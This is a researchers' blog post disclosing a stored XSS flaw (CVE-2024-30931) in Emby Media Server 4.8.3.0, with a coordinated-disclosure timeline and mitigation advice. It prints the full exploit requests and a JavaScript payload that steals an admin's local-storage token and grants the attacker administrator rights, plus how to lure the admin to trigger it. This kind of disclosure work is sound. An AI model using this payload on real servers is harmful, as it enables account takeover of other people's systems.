CVE-2024-30931 - Emby XSS
Emby Media Server XSS
TL;DR - Whilst playing with Emby Media Server 4.8.3.0, we found stored XSS and, due to other security configurations in the platform, we were able to craft a payload that results in privilege escalation to a platform admin.
Shoutout
We want to start by giving a huge shoutout to the Emby team (particularly Luke!). They were receptive of the issue, really responsive, and great to discuss the implications with. PLUS they had a patch ready and pushed in an impressively short period of time. They have, without a doubt, made this one of the best disclosure processes we have been involved with. Awesome work - we wish more disclosure processes were like this!
Technical details
What is it?
Emby is a media content management system, which allows storage and access of media from across a variety of devices. It’s a great alternative to things like Plex and Jellyfin. The usage model is that any user can setup an Emby Media Server on their device - and then they can invite other users to browse their content through a system of invites. Invites only grant users access to specific libraries and content, and shouldn’t be able to view or adjust the site settings (unless their account account is elevated to an administrator).
What was wrong?
When interacting with the application we found that Emby allowed all users to create custom notifications for themselves via the form of webhooks. These notifications allowed a user to:
“Setup notifications to stay informed of important events on your Emby Server.”
However, we found that there was insufficient validation on the custom notification creation request which makes it vulnerable to abuse. Stored within the FriendlyName
parameter, we discovered that low-privileged users are able to include HTML and JavaScript. Y’all can probably see where this is going…
Creating notifications involves a single POST request with the following body (as an example):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /emby/Notifications/Services/Configured?X-Emby-Client=Emby+Web&X-Emby-Device-Name=Firefox+Windows&X-Emby-Device-Id=5e9c8c56-57cc-4efb-918e-93043f9d8316&X-Emby-Client-Version=4.8.3.0&X-Emby-Token=33b5bd218d99420cbb2dca6d8fc724ec&X-Emby-Language=en-gb&reqformat=json HTTP/1.1
Content-Type: application/json
[SNIP]
{
"NotifierKey":"webhooknotifications",
"SetupModuleUrl":"configurationpage?name=webhookeditorjs",
"ServiceName":"Webhooks",
"PluginId":"85a7b1d4-fbda-4e85-a0a2-ac303c9946a4",
"FriendlyName":"anything your heart desires",
"Id":"6fa55ef97af842138d96d4f207e4a702",
"Enabled":true,
"UserIds":[],
"DeviceIds":[],
"LibraryIds":[],
"EventIds":["system.serverrestartrequired","system.updateavailable"],
"UserId":"2",
"IsSelfNotification":true,
"Options":{"EnableMultipartFormData":true,"Url":"https://example.com"},
"Type":"UserNotification",
"ServerId":"6f6e060683af45eca5431bd2c3e024c2",
"EventNames":"Server"
}
A simple <img src=1 onerror='alert("2")'>
here, a submission of the request there, and boom we have some Stored XSS whenever that notification is viewed.
Note that the ServerId
and UserId
, are already disclosed by the URI when logging in (but the UserId
in the POST request above is different to the UserId
disclosed in the URI. It is the URI’s UserId
which is unique and used in all following requests.)
So what?
At the moment though, exploiting this vulnerability is pretty pointless - sure you could inject some JavaScript or HTML and make the page look a bit funky - but not much else. Unless the site is doing something weird, it is unlikely that we would be able to do much damage here.
But, speaking of weird, we wondered how Emby handles authentication and authorization.
After a little digging, we discovered that authenticated users requests all contain the X-Emby-Token
(a little weird that it’s sent as part of the URI and not the body of the POST request but ¯\(ツ)/¯). So where is that token stored? A cookie with the HTTP Only attribute? No, in Local Storage!
As the token is stored in local storage as part of the servercredentials3
item, it means that we are able to access the value of that token using client-side JavaScript. Which looks something like this:
token = JSON.parse(localStorage.getItem("servercredentials3")).Servers[0].Users[0].AccessToken;
But still, retrieving our own token isn’t much to get excited about - after all we already have it! But if we were able to retrieve someone else’s token, we might be able to perform actions as that user!
The last piece
So after a bit of poking and prodding of administrative functionality, we discovered that administrators have this wonderful thing called administrator functionality (/s)! As part of the administrative functionality, admins can elevate the privileges of any other user on the platform by making a POST request to /emby/Users/<UserId>/Policy
, with the payload {"IsAdministrator":true}
.
Elevating the user above (as an example) would be a single POST request with the following body:
1
2
3
4
5
6
7
POST /emby/Users/6ff8d0b689e54f09a5f5819b8d73a5b0/Policy?X-Emby-Token=<admin_token_from_local_storage> HTTP/1.1
Content-Type: application/json
[SNIP]
{
"IsAdministrator":true
}
Putting it all together
Putting all the pieces together, all we really need to do is to replace our original Stored XSS payload with the following payload, which defines and executes a custom JavaScript function to retrieve the token and then submit a POST request using it (but replacing the UserId
in /emby/Users/<UserId>/Policy
with the UserId
of the current user):
1
2
3
4
5
6
7
8
9
10
<img src=1 onerror='(
function foo(){
token = JSON.parse(localStorage.getItem("servercredentials3")).Servers[0].Users[0].AccessToken;
var xhttp = new XMLHttpRequest();
xhttp.open("POST", "/emby/Users/<UserId>/Policy?X-Emby-Token="+token, true);
xhttp.setRequestHeader("Content-type", "application/json");
xhttp.send(JSON.stringify({"IsAdministrator":true}));
alert("Oh, I am the captain now?");
}
).call(this)'>
Saving the notification will trigger a pop-up when the XSS triggers, but it currently does nothing as our user doesn’t have permissions to elevate users to admins. However, this Stored XSS triggers when ANY user views your notifications, now we could wait for the off chance someone looks at the notification…. or we could send it to someone. Say, the server admin? So we send the admin the notification! The URL for the notifications page looks something like (using the user and server ids obtained above):
https://emby.redacted/web/index.html#!/settings/notifications.html?userId=6ff8d0b689e54f09a5f5819b8d73a5b0&serverId=6f6e060683af45eca5431bd2c3e024c2
All we need to do now is to get any Emby user with admin permissions to the site, to visit the link above to our notification page, and our payload will retrieve their token and use it to make our user an admin of the site!
Good practice
There are several issues here which allowed this exploitation chain. Preventing any one of them would have made this exploit significantly harder if not impossible.
- Input validation, and not trusted user-provided input in any POST or GET request would have prevented the Stored XSS in the first place. An excellent library for performing that in JavaScript is DOMPurify
- The presence of a content security policy (CSP) may have prevented any Stored XSS payload from triggering
- Storing credentials as Cookies (rather than in local storage), would have prevented the Stored XSS from being able to access the token (if the Cookies were configured correctly with cough
HttpOnly
cough). Good practice guide here - Re-authentication for privilaged functionality is also something that could be considered.
Disclosure timeline
- 17/03/2024: Disclosure submitted to Emby.
- 21/03/2024: Confirmed receipt by Emby and statement that the issue will be patched in 4.8.4.
- 22/03/2024: Applied for MITRE CVE (with permission from the Emby team).
- 04/04/2024: CVE-2024-30931 reserved.
- 10/04/2024: Next release date of patched version of Emby announced.
- 21/04/2024: Fixed version of Emby released (4.8.4.0).
- 21/06/2024: Blog post published. Yeah I’m a slow writer okay?